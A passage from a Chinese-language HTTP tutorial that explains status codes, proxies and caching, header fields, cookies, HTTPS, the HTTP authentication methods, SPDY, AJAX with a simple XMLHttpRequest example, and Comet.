      和 301 Moved Permanently 状态码相似,但 302 状态码代表的资源不是被永久移动,只是临时性质的。换句话说,已移动的资源对应的 URI 将来还有可能发生改变。比如,用户把 URI 保存成书签,但不会像 301 状态码出现时那样去更新书签,而是仍旧保留返回 302 状态码的页面对应的 URI。
  • 303 See Other
      该状态码表示由于请求对应的资源存在着另一个 URI,应使用 GET 方法定向获取请求的资源。
      303 状态码和 302 Found 状态码有着相同的功能,但 303 状态码明确表示客户端应当采用 GET 方法获取资源,这点与 302 状态码有区别。
      比如,当使用 POST 方法访问 CGI 程序,其执行后的处理结果是希望客户端能以 GET 方法重定向到另一个 URI 上去时,返回 303 状态码。虽然 302 Found 状态码也可以实现相同的功能,但这里使用 303 状态码是最理想的。
  • 304 Not Modified
      该状态码表示客户端发送附带条件的请求时,服务器端允许请求访问资源,但因发生请求未满足条件的情况后,直接返回 304 Not Modified。
      **304 状态码返回时,不包含任何响应的主体部分。**304 虽然被划分在 3XX 类别中,但是和重定向没有关系。

  附带条件的请求是指采用 GET 方法的请求报文中包含if-Matchif-Modified-Sinceif-None-Matchif-Rangeif-Unmodified-Since中任一首部。

  当 301、302、303 响应状态码返回时,几乎所有的浏览器都会把 POST 改成 GET,并删除请求报文内的主体,之后请求会自动再次发送。301、302 标准是禁止将 POST 方法改变成 GET 方法的,但实际使用时大家都会这么做。

4XX 客户端错误

4XX 的响应结果表明客户端是发生错误的原因所在。

  • 400 Bad Request
      状态码表示请求报文中存在语法错误。当错误发生时,需修改请求的内容后再次发送请求。另外,浏览器会像 200 OK 一样对待该状态码。
  • 401 Unauthorized
      该状态码表示发送的请求需要有通过 HTTP 认证(BASIC 认证、DIGEST 认证)的认证信息。
    • 若第一次返回 401,会弹出认证的对话框。
    • 第二次返回 401,表示认证失败。
  • 403 Forbidden
      该状态码表明对请求资源的访问被服务器拒绝了。服务器端没有必要给出拒绝的详细理由,但如果想作说明的话,可以在实体的主体部分对原因进行描述,这样就能让用户看到了。

  未获得文件系统的访问授权,访问权限出现某些问题(从未授权的发送源IP地址试图访问)等列举的情况都可能是发生 403 的原因。

  • 404 Not Found
      该状态码表明服务器上无法找到请求的资源。除此之外,也可以在服务器端拒绝请求且不想说明理由时使用。

5XX 服务器错误

5XX 的响应结果表明服务器本身发生错误。

  • 500 Internal Server Error
      该状态码表明服务器端在执行请求时发生了错误。也有可能是 Web 应用存在的 bug 或某些临时的故障。
  • 503 Service Unavailable
      该状态码表明服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。如果事先得知解除以上状况需要的时间,最好写入Retry-After首部字段再返回给客户端。

  不少返回的状态码响应都是错误的,但是用户可能察觉不到这点。比如 Web 应用程序内部发生错误,状态码依然返回 200 OK,这种情况也经常遇到。

Web 服务器

  一台 Web 服务器可搭建多个独立域名的 Web 网站,也可作为通信路径上的中转度武器提升传输效率。

用单台虚拟主机实现多个域名

  HTTP/1.1 规范允许一台HTTP服务器搭建多个 Web 站点。即一个服务器可以为每位客户持有的域名运行各自不同的网站。这是因为利用了虚拟主机的功能。
  即使物理层面只有一台服务器,但只要使用虚拟主机的功能,则可以假想已具有多台服务器。

  若www.baidu.com/www.cctv.com/同时部署在同一个服务器上,使用 DNS 解析域名后,两者的访问 IP 地址会相同。

  在相同的 IP 地址下,由于虚拟主机可以寄存多个不同主机名和域名的 Web 网站,因此在发送 HTTP 请求时,必须在 Host 首部内完整指定主机名或域名的 URI。

通信数据转发

  HTTP 通信时,除客户端和服务器以外,还有一些用于通信数据转发的应用程序,例如代理网关隧道。它们可以配合服务器工作。
  这些应用程序和服务器可以将请求转发给通信线路上的下一站服务器,并且能接收从那台服务器发送的响应再转发给客户端。

代理

  代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理不改变请求 URI,会直接发送给前方持有资源的目标服务器。
  持有资源实体的服务器被称为源服务器。从源服务器返回的响应经过代理服务器后再传给客户端。

为什么要使用代理?

  • 利用缓存技术减少网络带宽的流量。
  • 组织内部针对特定网站的访问控制,以获取访问日志为主要目的

  代理转发响应时,缓存代理会预先将资源的副本(缓存)保存在代理服务器上。当代理再次接收到对相同资源的请求时,就可以不从源服务器那里获取资源,而是将之前缓存的资源作为响应返回。

网关

  网关的工作机制和代理十分相似。而网关能使通信线路上的服务器提供非 HTTP 协议服务

为什么要用网关?
  利用网关能提高通信的安全性,因为可以在客户端与网关之间的通信线路上加密以确保连接的安全。比如,网关可以连接数据库,使用 SQL 语句查询数据。另外,在 Web 购物网站上进行信用卡结算时,网关可以和信用卡结算系统联动。

隧道

  隧道可按要求建立起一条与其他服务器的通信线路,届时使用 SSL 等加密手段进行通信。隧道的目的是确保客户端能与服务器进行安全的通信。
  隧道本身不会去解析 HTTP 请求。也就是说,请求保持原样中转给之后的服务器。隧道会在通信双方断开连接时结束。

缓存

  缓存是指代理服务器或客户端本地磁盘内保存的资源副本。利用缓存可减少对源服务器的访问,因此也就节省了通信流量和通信时间。
  缓存服务器的优势在于利用缓存可避免多次从源服务器转发资源。因此客户端可就近从缓存服务器上获取资源,而源服务器也不必多次处理相同的请求了。

缓存有效期

  即便缓存服务器内有缓存,也不能保证每次都会返回对同资源的请求。因为这关系到被缓存资源的有效性问题。
  当遇上源服务器上的资源更新时,如果还是使用不变的缓存,那就会演变成返回更新前的“旧”资源了。
  即使存在缓存,也会因为客户端的要求、缓存的有效期等因素,向源服务器确认资源的有效性。若判断缓存失效,缓存服务器将会再次从源服务器上获取“新”资源。

客户端的缓存

  缓存不仅可以存在于缓存服务器内,还可以存在客户端浏览器中。
  浏览器缓存如果有效,就不必再向服务器请求相同的资源了,可以直接从本地磁盘内读取。比如在系列 1 中提到过,DNS 解析的时候,当在浏览器输入地址后,不会直接进行解析,会在本地缓存中对比是否有访问对象的 IP 地址,有的话就不用 DNS 解析,直接就可以拿到 IP 地址。

HTTP 报文首部

请求报文首部组成
请求报文 = 报文首部 + 报文主体
报文首部 = (方法 + URI + HTTP 版本) + (请求首部字段 + 通用首部字段 + 实体首部字段)

响应报文首部组成
响应报文 = 报文首部 + 主体
报文首部 = (HTTP 版本 + 状态码) + (响应首部字段 + 通用首部字段 + 实体首部字段)

首部字段类型分类

  • 请求首部字段
  • 响应首部字段
  • 通用首部字段
  • 实体首部字段

首部字段概述

  • 首部字段的作用:
      使用首部字段是为了给浏览器和服务器提供报文主体大小、所使用的语言、认证信息等内容。
  • 首部字段的结构:
      HTTP 首部字段是由首部字段名和字段值构成的,中间用冒号:分隔。
1
2
3
4
首部字段名: 字段值

例如表示报文主体的对象类型:
Content-Type: text/html
  • 字段值对应单个 HTTP 首部字段可以有多个值
1
Keep-Alive: timeout=15, max=100

若 HTTP 首部字段重复了会如何?
  当 HTTP 报文首部中出现了两个或两个以上具有相同首部字段名时会怎么样?这种情况在规范内尚未明确,根据浏览器内部处理逻辑的不同,结果可能并不一致。有些浏览器会优先处理第一次出现的首部字段,而有些则会优先处理最后出现的首部字段。

请求首部字段

  请求首部字段是从客户端往服务器端发送请求报文中所使用的字段,用于补充请求的附加信息、客户端信息、对响应内容相关的优先级等内容。

请求首部字段 说明
Accept text/htmlimage/jpegvideo/mpegapplication/octet-stream 客户端可以接收的媒体类型(文本文件,图片文件,视频文件,二进制文件)。
Accept-Charset iso-8859-5unicode-1-1;q=0.8 能正确接收的字符集。
Accept-Encoding 客户端能支持的内容编码(可多个):gzipcompressdeflate
Accept-Language zh-cnzh;q=0.7en-usen;q=0.3 客户端能够处理的语言。
Authorization 认证信息。当出现 401 时将其添加到请求头中便可认证。
Expect 期待服务端的指定行为。
From 告知服务器使用用户代理的用户的电子邮件地址(使用目的就是为了显示搜索引擎等用户代理的负责人的电子邮件联系方式)。
Host (必须存在于请求头中)告知服务器,请求的资源所处的互联网主机名和端口号(当一个服务器下部署着多个域名的时候需指定,不然分不清请求的是哪一个域名)。
If-Match 形如 if-xxx 的格式,称为条件请求。服务器接收到条件后,只有判断指定条件为真,才会接受请求。
If-Modified-Since 告知服务器若 If-Modified-Since 字段值早于资源的更新时间,则希望能处理该请求。而在指定 If-Modified-Since 字段值的日期时间之后,如果请求的资源都没有过更新,则返回状态码 304 Not Modified 的响应。
If-None-Match 资源未修改返回 304(通过对比 ETag)。
If-Range 告知服务器若指定的 If-Range 字段值(ETag 值或者时间)和请求资源的 ETag 值或时间相一致时,则作为范围请求处理。反之,则返回全体资源。
If-Unmodified-Since 首部字段 If-Unmodified-Since 和首部字段 If-Modified-Since 的作用相反。它的作用的是告知服务器,指定的请求资源只有在字段值内指定的日期时间之后,未发生更新的情况下,才能处理请求。如果在指定日期时间后发生了更新,则以状态码 412 Precondition Failed 作为响应返回。
Max-Forwards 限制可被代理及网关转发的次数。
Proxy-Authorization 向代理服务器发送验证信息(这个行为是与客户端和服务器之间的 HTTP 访问认证相类似的,不同之处在于,认证行为发生在客户端与代理之间。客户端与服务器之间的认证,使用首部字段 Authorization 可起到相同作用)。
Range bytes=5001-10000 请求某个内容的一部分,配合 If-Range 使用。
Referer 告知服务器请求的原始资源的 URI(客户端一般都会发送 Referer 首部字段给服务器。但当直接在浏览器的地址栏输入 URI,或出于安全性的考虑时,也可以不发送该首部字段。因为原始资源的 URI 中的查询字符串可能含有 ID 和密码等保密信息,要是写进 Referer 转发给其他服务器,则有可能导致保密信息的泄露)。
TE gzipdeflate;q=0.5 告知服务器客户端能够处理响应的传输编码方式及相对优先级。它和首部字段 Accept-Encoding 的功能很相像,但是用于传输编码。
User-Agent 发起请求的浏览器用户代理名称等信息传达给服务器

响应首部字段

  响应首部字段是由服务器端向客户端返回响应报文中所使用的字段,用于补充响应的附加信息、服务器信息,以及对客户端的附加要求等信息。

响应首部字段 说明
Accept-Ranges 告知客户端自己能否处理范围请求。能 bytes,否 none
Age 告知客户端,源服务器在多久前创建了响应。若创建该响应的服务器是缓存服务器Age 值是指缓存后的响应再次发起认证到认证完成的时间值(资源在代理缓存中存在的时间)。
ETag 资源标识,资源发生变化时标识也会发生改变。
Location 使用首部字段 Location 可以将响应接收方引导至某个与请求 URI 位置不同的资源。基本上,该字段会配合 3xx:Redirection 的响应,提供重定向的 URI。几乎所有的浏览器在接收到包含首部字段 Location 的响应后,都会强制性地尝试对已提示的重定向资源的访问。
Proxy-Authenticate 把由代理服务器所要求的认证信息发送给客户端。
Retry-After 告知客户端应该在多久之后再次发送请求。主要配合状态码 503 Service Unavailable 响应
Server Apache/2.2.6 (Unix) PHP/5.2.5 告知客户端当前服务器上安装的 HTTP 服务器应用程序的信息。不单单会标出服务器上的软件应用名称,还有可能包括版本号和安装时启用的可选项。
Vary 对缓存进行控制。源服务器会向代理服务器传达关于本地缓存使用方法的命令。
WWW-Authenticate 用于 HTTP 访问认证。它会告知客户端适用于访问请求 URI 所指定资源的认证方案(Basic 或是 Digest)和带参数提示的质询(challenge)。状态码 401 Unauthorized 响应中,肯定带有首部字段 WWW-Authenticate

通用首部字段

  通用首部字段是指,请求报文和响应报文双方都会使用的首部。

通用首部字段 说明(请求报文和响应报文都会用到)
Cache-Control 表示是否能缓存的指令。public(客户端、代理服务器都可利用缓存),no-cache(防止从缓存中返回过期的资源),no-store(暗示包含机密信息,不允许缓存),s-maxagemax-age(资源可缓存最大时间 秒)。
Connection 不再转发的首部字段名(控制不再转发给代理的首部字段),close(关闭持续连接),Keep-Alive(在 HTTP/1.0 上开启持续连接,1.1 默认持续连接所以不需要)。
Data 表明创建 HTTP 报文的日期和时间。
Pragma no-cache(只用于请求报文,客户端要求中间服务器不返回缓存的资源)。
Trailer 事先说明在报文主体后记录了哪些首部字段。
Transfer-Encoding chunked(规定了传输报文主体时采用的编码方式)。
Upgrade 检测 HTTP 协议及其他协议是否可使用更高的版本进行通信。
Via 追踪客户端与服务器之间的请求和响应报文的传输路径。报文经过代理或网关时,会先在首部字段 Via 中附加该服务器的信息,然后再进行转发。首部字段 Via 不仅用于追踪报文的转发,还可避免请求回环的发生。所以必须在经过代理时附加该首部字段内容。
Warning 告知用户一些与缓存相关的问题的警告。

实体首部字段

  实体首部字段是包含在请求报文和响应报文中的实体部分所使用的首部,用于补充内容的更新时间等与实体相关的信息
  在请求和响应两方的 HTTP 报文中都含有与实体相关的首部字段。

实体首部字段 说明
Allow GETHEAD 通知客户端能够支持 Request-URI 指定资源的所有 HTTP 方法。当服务器接收到不支持的 HTTP 方法时,会以状态码 405 Method Not Allowed 作为响应返回。与此同时,还会把所有能支持的 HTTP 方法写入首部字段 Allow 后返回。
Content-Encoding gzipcompressdeflateidentity。告知客户端服务器对实体的主体部分选用的内容编码方式。内容编码是指在不丢失实体信息的前提下所进行的压缩
Content-Language 告知客户端,实体主体使用的自然语言(指中文或英文等语言)。
Content-Length 表明了实体主体部分的大小(单位是字节)。
Content-Location 返回数据的备用地址。
Content-MD5 首部字段 Content-MD5 是一串由 MD5 算法生成的值,其目的在于检查报文主体在传输过程中是否保持完整,以及确认传输到达
Content-Range bytes 5001-10000/10000 告知客户端作为响应返回的实体的哪个部分符合范围请求。
Content-Type application/json;charset=UTF-8 说明了实体主体内对象的媒体类型。
Expires 缓存服务器在接收到含有首部字段 Expires 的响应后,表示可以缓存到指定日期,到达指定日期,缓存服务器会向源服务器请求更新资源;同时也会告知客户端。
Last-Modified 指明资源最终修改的时间。

  管理服务器与客户端之间状态的 Cookie,虽然没有被编入标准化 HTTP/1.1 的 RFC2616 中,但在 Web 网站方面得到了广泛的应用。
  Cookie 的工作机制是用户识别及状态管理。Web 网站为了管理用户的状态会通过 Web 浏览器,把一些数据临时写入用户的计算机内。接着当用户访问该 Web 网站时,可通过通信方式取回之前存放的 Cookie。
  调用 Cookie 时,由于可校验 Cookie 的有效期,以及发送方的域、路径、协议等信息,所以正规发布的 Cookie 内的数据不会因来自其他Web站点和攻击者的攻击而泄露。

为 Cookie 服务的首部字段 说明
Set-Cookie name:赋予 Cookie 的名称和其值;expires:Cookie 的有效期(若不指定则默认为浏览关闭前为止);path:将服务器上的文件目录作为 Cookie 的适用对象;domain = 域名:作为 Cookie 适用对象的域名;secure:仅在 HTTPS 安全通行时才会发送 Cookie;HttpOnly:加以限制,使 Cookie 不能被 JavaScript 脚本访问。
Cookie Cookie: status=enable 首部字段 Cookie 会告知服务器,当客户端想获得 HTTP 状态管理支持时,就会在请求中包含从服务器接收到的 Cookie。接收到多个 Cookie 时,同样可以以多个 Cookie 形式发送。

其他首部字段

  HTTP 首部字段是可以自行扩展的。所以在 Web 服务器和浏览器的应用上,会出现各种非标准的首部字段。

其他首部字段 说明
X-Frame-Options DENY(拒绝);SAMEORIGIN(仅同源域名下许可):用于控制网站内容在其他 Web 网站的 Frame 标签内的显示问题。其主要目的是为了防止点击劫持(clickjacking)攻击。
X-XSS-Protection 0 :将 XSS 过滤设置成无效状态;1 :将 XSS 过滤设置成有效状态。它是针对跨站脚本攻击(XSS)的一种对策,用于控制浏览器 XSS 防护机制的开关。
DNT 0 :同意被追踪;1 :拒绝被追踪。DNT 是 Do NotTrack 的简称,意为拒绝个人信息被收集,是表示拒绝被精准广告追踪的一种方法。由于首部字段 DNT 的功能具备有效性,所以 Web 服务器需要对 DNT 做对应的支持。
P3P 通过利用 P3P(ThePlatform for Privacy Preferences,在线隐私偏好平台)技术,可以让 Web 网站上的个人隐私变成一种仅供程序可理解的形式,以达到保护用户隐私的目的。

HTTPS 与追加协议

前言

  本篇文章主要讲 HTTPS,HTTP 和 HTTPS 区别,认证,SPDY 的 AJAX 与 Comet,Websocket。

HTTPS

HTTP 的缺点

通信使用明文可能会被窃听

  由于 HTTP 本身不具备加密的功能,所以也无法做到对通信整体(使用 HTTP 协议通信的请求和响应的内容)进行加密。即,HTTP 报文使用明文(指未经过加密的报文)方式发送。

  按 TCP/IP 协议族的工作机制,通信内容在所有的通信线路上都有可能遭到窥视。

  即使已经过加密处理的通信,也会被窥视到通信内容,这点和未加密的通信是相同的。只是说如果通信经过加密,就有可能让人无法破解报文信息的含义,但加密处理后的报文信息本身还是会被看到的。

如何防止被窃听

最为普及的就是加密技术。

  • 通信的加密
      HTTP 协议中没有加密机制,但可以通过和 SSL(Secure Socket Layer,安全套接层)或 TLS(Transport Layer Security,安全传输层协议)的组合使用,加密 HTTP 的通信内容。
      用 SSL 建立安全通信线路之后,就可以在这条线路上进行 HTTP 通信了。与 SSL 组合使用的 HTTP 被称为 HTTPS(HTTP Secure,超文本传输安全协议)或 HTTPover SSL。
  • 内容的加密
      由于 HTTP 协议中没有加密机制,那么就对 HTTP 协议传输的内容本身加密。即把 HTTP 报文里所含的内容进行加密处理。
      诚然,为了做到有效的内容加密,前提是要求客户端和服务器同时具备加密和解密机制。主要应用在 Web 服务中。有一点必须引起注意,由于该方式不同于 SSL 或 TLS 将整个通信线路加密处理,所以内容仍有被篡改的风险。

不验证通信方的身份

  HTTP 协议中的请求和响应不会对通信方进行确认。

任何人都可以发起请求

  在 HTTP 协议通信时,由于不存在确认通信方的处理步骤,任何人都可以发起请求。另外,服务器只要接收到请求,不管对方是谁都会返回一个响应(但也仅限于发送端的IP地址和端口号没有被 Web 服务器设定限制访问的前提下)。不确认通信方,会存在以下各种隐患。

  • 无法确定请求发送至目标的 Web 服务器是否是按真实意图返回响应的那台服务器。有可能是已伪装的 Web 服务器。
  • 无法确定响应返回到的客户端是否是按真实意图接收响应的那个客户端。有可能是已伪装的客户端。
  • 无法确定正在通信的对方是否具备访问权限。因为某些 Web 服务器上保存着重要的信息,只想发给特定用户通信的权限。
  • 无法判定请求是来自何方、出自谁手。
  • 即使是无意义的请求也会照单全收。无法阻止海量请求下的 DoS 攻击(Denial of Service,拒绝服务攻击)。
如何验证身份呢

  虽然使用 HTTP 协议无法确定通信方,但如果使用 SSL 则可以。SSL 不仅提供加密处理,而且还使用了一种被称为证书的手段,可用于确定方。
  证书由值得信任的第三方机构颁发,用以证明服务器和客户端是实际存在的。另外,伪造证书从技术角度来说是异常困难的一件事。所以只要能够确认通信方(服务器或客户端)持有的证书,即可判断通信方的真实意图。

报文可能会被篡改

  由于 HTTP 协议无法证明通信的报文完整性,因此,在请求或响应送出之后直到对方接收之前的这段时间内,即使请求或响应的内容遭到篡改,也没有办法获悉。

  比如,从某个 Web 网站上下载内容,是无法确定客户端下载的文件和服务器上存放的文件是否前后一致的。文件内容在传输途中可能已经被篡改为其他的内容。即使内容真的已改变,作为接收方的客户端也是觉察不到的。像这样,请求或响应在传输途中,遭攻击者拦截并篡改内容的攻击称为中间人攻击(Man-in-the-Middleattack, MITM)。

如何防止被篡改

  **虽然有使用 HTTP 协议(头部字段Content-MD5)确定报文完整性的方法,但事实上并不便捷、可靠。**其中常用的是 MD5 和 SHA-1 等散列值校验的方法,以及用来确认文件的数字签名方法。

HTTPS = HTTP + 加密 + 认证 + 完整性保护

  如果在 HTTP 协议通信过程中使用未经加密的明文,比如在Web页面中输入信用卡号,如果这条通信线路遭到窃听,那么信用卡号就暴露了。
  另外,对于 HTTP 来说,服务器也好,客户端也好,都是没有办法确认通信方的。因为很有可能并不是和原本预想的通信方在实际通信。并且还需要考虑到接收到的报文在通信途中已经遭到篡改这一可能性。
  为了统一解决上述这些问题,需要在 HTTP 上再加入加密处理和认证等机制。我们把添加了加密及认证机制的 HTTP 称为 HTTPS(HTTP Secure)。

HTTPS 是身披 SSL 外壳的 HTTP

  HTTPS 并非是应用层的一种新协议。只是 HTTP 通信接口部分用 SSL(Secure Socket Layer)和 TLS(TransportLayer Security)协议代替而已。
  通常,HTTP 直接和 TCP 通信。当使用 SSL 时,则演变成先和 SSL 通信,再由 SSL 和 TCP 通信了。简言之,所谓 HTTPS,其实就是身披 SSL 协议这层外壳的 HTTP。

  SSL 是独立于 HTTP 的协议,所以不光是 HTTP 协议,其他运行在应用层的 SMTP 和 Telnet 等协议均可配合 SSL 协议使用。可以说 SSL 是当今世界上应用最为广泛的网络安全技术。

HTTPS 和 HTTP 的区别

  • HTTPS 协议需要到 CA(证书颁发机构)申请证书,一般免费证书很少,需要交费。
  • HTTP 协议运行在 TCP 之上,所有传输的内容都是明文,HTTPS 运行在 SSL/TLS 之上,SSL/TLS 运行在 TCP 之上,所有传输的内容都经过加密的。
  • HTTP 和 HTTPS 使用的是完全不同的连接方式,用的端口也不一样,前者是 80,后者是 443。
  • HTTP 的连接很简单,是无状态的;HTTPS 协议是由 HTTP+SSL 协议构建的可进行加密传输、身份认证的网络协议,可以有效的防止运营商劫持,解决了防劫持的一个大问题,比 HTTP 协议安全。

认证

何为认证

  计算机本身无法判断坐在显示器前的使用者的身份。进一步说,也无法确认网络的那头究竟有谁。可见,为了弄清究竟是谁在访问服务器,就得让对方的客户端自报家门。
  为确认用户是否真的具有访问系统的权限,就需要核对“登录者本人才知道的信息”、“登录者本人才会有的信息”

核对的信息通常是指以下这些:

  • 密码:只有本人才会知道的字符串信息。
  • 动态令牌:仅限本人持有的设备内显示的一次性密码。
  • 数字证书:仅限本人(终端)持有的信息。
  • 生物认证:指纹和虹膜等本人的生理信息。
  • IC 卡等:仅限本人持有的信息。

HTTP/1.1 使用的认证方式

  • BASIC 认证(基本认证)
  • DIGEST 认证(摘要认证)
  • SSL 客户端认证
  • FormBase 认证(基于表单认证)

BASIC 认证

  BASIC 认证(基本认证)是从 HTTP/1.0 就定义的认证方式。即便是现在仍有一部分的网站会使用这种认证方式。是 Web 服务器与通信客户端之间进行的认证方式。

  • 步骤 1:当请求的资源需要 BASIC 认证时,服务器会随状态码 401 Authorization Required,返回带WWW-Authenticate首部字段的响应。该字段内包含认证的方式(BASIC)及Request-URI安全域字符串(realm)。
  • 步骤 2:接收到状态码 401 的客户端为了通过 BASIC 认证,需要将用户 ID 及密码发送给服务器。发送的字符串内容是由用户 ID 和密码构成,两者中间以冒号:连接后,再经过 Base64 编码处理。当用户代理为浏览器时,用户仅需输入用户 ID 和密码即可,之后,浏览器会自动完成到 Base64 编码的转换工作。
  • 步骤 3:接收到包含首部字段Authorization请求的服务器,会对认证信息的正确性进行验证。如验证通过,则返回一条包含Request-URI资源的响应。

  BASIC 认证虽然采用 Base64 编码方式,但这不是加密处理。不需要任何附加信息即可对其解码。换言之,由于明文解码后就是用户 ID 和密码,在 HTTP 等非加密通信的线路上进行 BASIC 认证的过程中,如果被人窃听,被盗的可能性极高。

  BASIC 认证使用上不够便捷灵活,且达不到多数 Web 网站期望的安全性等级,因此它并不常用。

DIGEST 认证

  为弥补 BASIC 认证存在的弱点,从 HTTP/1.1 起就有了 DIGEST 认证。DIGEST 认证同样使用质询/响应的方式,但不会像 BASIC 认证那样直接发送明文密码。

  所谓质询响应方式是指,一开始客户端会先发送认证要求给服务端,服务端发送质询码给客户端,接着客户端使用接收到的质询码计算生成响应码。最后将响应码返回给对方进行认证的方式。

  • 步骤 1:请求需认证的资源时,服务器会随着状态码 401 Authorization Required,返回带WWW-Authenticate首部字段的响应。
  • 步骤 2:接收到 401 状态码的客户端,返回的响应中包含 DIGEST 认证必须的首部字段Authorization信息。
  • 步骤 3:接收到包含首部字段Authorization请求的服务器,会确认认证信息的正确性。认证通过后则返回包含Request-URI资源的响应。

  DIGEST 认证提供了高于 BASIC 认证的安全等级,但是和 HTTPS 的客户端认证相比仍旧很弱。DIGEST 认证提供防止密码被窃听的保护机制,但并不存在防止用户伪装的保护机制。

SSL 客户端认证

  从使用用户 ID 和密码的认证方式方面来讲,只要二者的内容正确,即可认证是本人的行为。但如果用户 ID 和密码被盗,就很有可能被第三者冒充。利用 SSL 客户端认证则可以避免该情况的发生。

  SSL 客户端认证是借由 HTTPS 的客户端证书完成认证的方式。凭借客户端证书(在 HTTPS 一章已讲解)认证,服务器可确认访问是否来自已登录的客户端。

  • 步骤 1:接收到需要认证资源的请求,服务器会发送Certificate Request报文,要求客户端提供客户端证书。
  • 步骤 2:用户选择将发送的客户端证书后,客户端会把客户端证书信息以Client Certificate报文方式发送给服务器。
  • 步骤 3:服务器验证客户端证书验证通过后方可领取证书内客户端的公开密钥,然后开始 HTTPS 加密通信

使用 SSL 客户端认证需要用到客户端证书。而客户端证书需要向认证机构购买。

表单认证

  基于表单的认证方法并不是在 HTTP 协议中定义的。客户端会向服务器上的 Web 应用程序发送登录信息(Credential),按登录信息的验证结果认证。
  多数情况下,输入已事先登录的用户 ID(通常是任意字符串或邮件地址)和密码等登录信息后,发送给 Web 应用程序,基于认证结果来决定认证是否成功。

认证多半为表单认证

  由于使用上的便利性及安全性问题,HTTP 协议标准提供的 BASIC 认证和 DIGEST 认证几乎不怎么使用。另外,SSL 客户端认证虽然具有高度的安全等级,但因为导入及维持费用等问题,还尚未普及。

  基于表单认证本身是通过服务器端的 Web 应用,将客户端发送过来的用户 ID 和密码与之前登录过的信息做匹配来进行认证的。

  但鉴于 HTTP 是无状态协议,之前已认证成功的用户状态无法通过协议层面保存下来。即,无法实现状态管理,因此即使当该用户下一次继续访问,也无法区分他与其他的用户。于是我们会使用 Cookie 来管理 Session,以弥补 HTTP 协议中不存在的状态管理功能。

  • 步骤1:客户端把用户 ID 和密码等登录信息放入报文的实体部分,通常是以 POST 方法把请求发送给服务器。而这时,会使用 HTTPS 通信来进行 HTML 表单画面的显示和用户输入数据的发送。
  • 步骤2:服务器会发放用以识别用户的 Session ID。通过验证从客户端发送过来的登录信息进行身份认证,然后把用户的认证状态与 Session ID 绑定后记录在服务器端。
  • 步骤3:客户端接收到从服务器端发来的 Session ID 后,会将其作为 Cookie 保存在本地。下次向服务器发送请求时,浏览器会自动发送 Cookie,所以 SessionID 也随之发送到服务器。服务器端可通过验证接收到的 Session ID 识别用户和其认证状态。

基于 HTTP 的功能追加协议

  在建立 HTTP 标准规范时,制订者主要想把 HTTP 当作传输 HTML 文档的协议。随着时代的发展,Web 的用途更具多样性,比如演化成在线购物网站、SNS(SocialNetworking Service,社交网络服务)、企业或组织内部的各种管理工具,等等。
  而这些网站所追求的功能可通过Web应用和脚本程序实现。即使这些功能已经满足需求,在性能上却未必最优,这是因为 HTTP 协议上的限制以及自身性能有限。
  HTTP 功能上的不足可通过创建一套全新的协议来弥补。可是目前基于 HTTP 的 Web 浏览器的使用环境已遍布全球,因此无法完全抛弃 HTTP。有一些新协议的规则是基于 HTTP 的,并在此基础上添加了新的功能。

SPDY

  Google 在 2010 年发布了 SPDY,其开发目标旨在解决 HTTP 的性能瓶颈,缩短 Web 页面的加载时间(50%)。

背景

  在 Facebook 和 Twitter 等 SNS 网站上,短的时间内就会发生大量的内容更新。
  为了尽可能实时地显示这些更新的内容,服务器上一有内容更新,就需要直接把那些内容反馈到客户端的界面上。虽然看起来挺简单的,但 HTTP 却无法妥善地处理好这项任务。
  使用 HTTP 协议探知服务器上是否有内容更新,就必须频繁地从客户端到服务器端进行确认。如果服务器上没有内容更新,那么就会产生徒劳的通信。

HTTP 的瓶颈

  • 一条连接上只可发送一个请求。
  • 请求只能从客户端开始。客户端不可以接收除响应以外的指令。
  • 请求/响应首部未经压缩就发送。首部信息越多延迟越大。
  • 发送冗长的首部。每次互相发送相同的首部造成的浪费较多。
  • 可任意选择数据压缩格式。非强制压缩发送。

那么 SPDY 如何解决这些瓶颈呢?

  • AJAX
  • Comet

  SPDY 没有完全改写 HTTP 协议,而是在 TCP/IP 的应用层与传输层之间通过新加会话层的形式运作。同时,考虑到安全性问题,SPDY 规定通信中使用 SSL。
  SPDY 以会话层的形式加入,控制对数据的流动,但还是采用 HTTP 建立通信连接。因此,可照常使用 HTTP 的 GET 和 POST 等方法、Cookie 以及 HTTP 报文等。

SPDY 的优点

  • 多路复用流。
      通过单一的 TCP 连接,可以无限制处理多个 HTTP 请求。所有请求的处理都在一条 TCP 连接上完成,因此 TCP 的处理效率得到提高。
  • 请求优先级
      SPDY 不仅可以无限制地并发处理请求,还可以给请求逐个分配优先级顺序。这样主要是为了在发送多个请求时,解决因带宽低而导致响应变慢的问题。
  • 压缩 HTTP 首部
      这样一来,通信产生的数据包数量和发送的字节数就更少了。
  • 推送功能
      支持服务器主动向客户端推送数据的功能。这样,服务器可直接发送数据,而不必等待客户端的请求。

AJAX 技术

  AJAX 不是 JavaScript 的规范,它只是一个哥们“发明”的缩写:Asynchronous JavaScript and XML,意思就是用 JavaScript 执行异步网络请求

  Ajax(Asynchronous JavaScript and XML,异步 JavaScript 与 XML 技术)是一种有效利用 JavaScript 和 DOM(Document Object Model,文档对象模型)的操作,以达到局部 Web 页面替换加载的异步通信手段。和以前的同步通信相比,由于它只更新一部分页面,响应中传输的数据量会因此而减少,这一优点显而易见。

  Ajax 的核心技术是名为XMLHttpRequest的 API,通过 JavaScript 脚本语言的调用就能和服务器进行 HTTP 通信。借由这种手段,就能从已加载完毕的 Web 页面上发起请求,只更新局部页面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
引用廖雪峰老师的例子(利用 XMLHttpRequest 来做请求)
'use strict';
----
function success(text) {
var textarea = document.getElementById('test-response-text');
textarea.value = text;
}

function fail(code) {
var textarea = document.getElementById('test-response-text');
textarea.value = 'Error code: ' + code;
}

var request = new XMLHttpRequest(); // 新建 XMLHttpRequest 对象

request.onreadystatechange = function () { // 状态发生变化时,函数被回调
if (request.readyState === 4) { // 成功完成
// 判断响应结果:
if (request.status === 200) {
// 成功,通过 responseText 拿到响应的文本:
return success(request.responseText);
} else {
// 失败,根据响应码判断失败原因:
return fail(request.status);
}
} else {
// HTTP 请求还在继续...
}
}

// 发送请求:
request.open('GET', '/api/categories');
request.send();

alert('请求已发送,请等待响应...');

Comet

  一旦服务器端有内容更新了,Comet 不会让请求等待,而是直接给客户端返回响应。这是一种通过延迟应答,模拟实现服务器端向客户端推送(Server Push)的功能
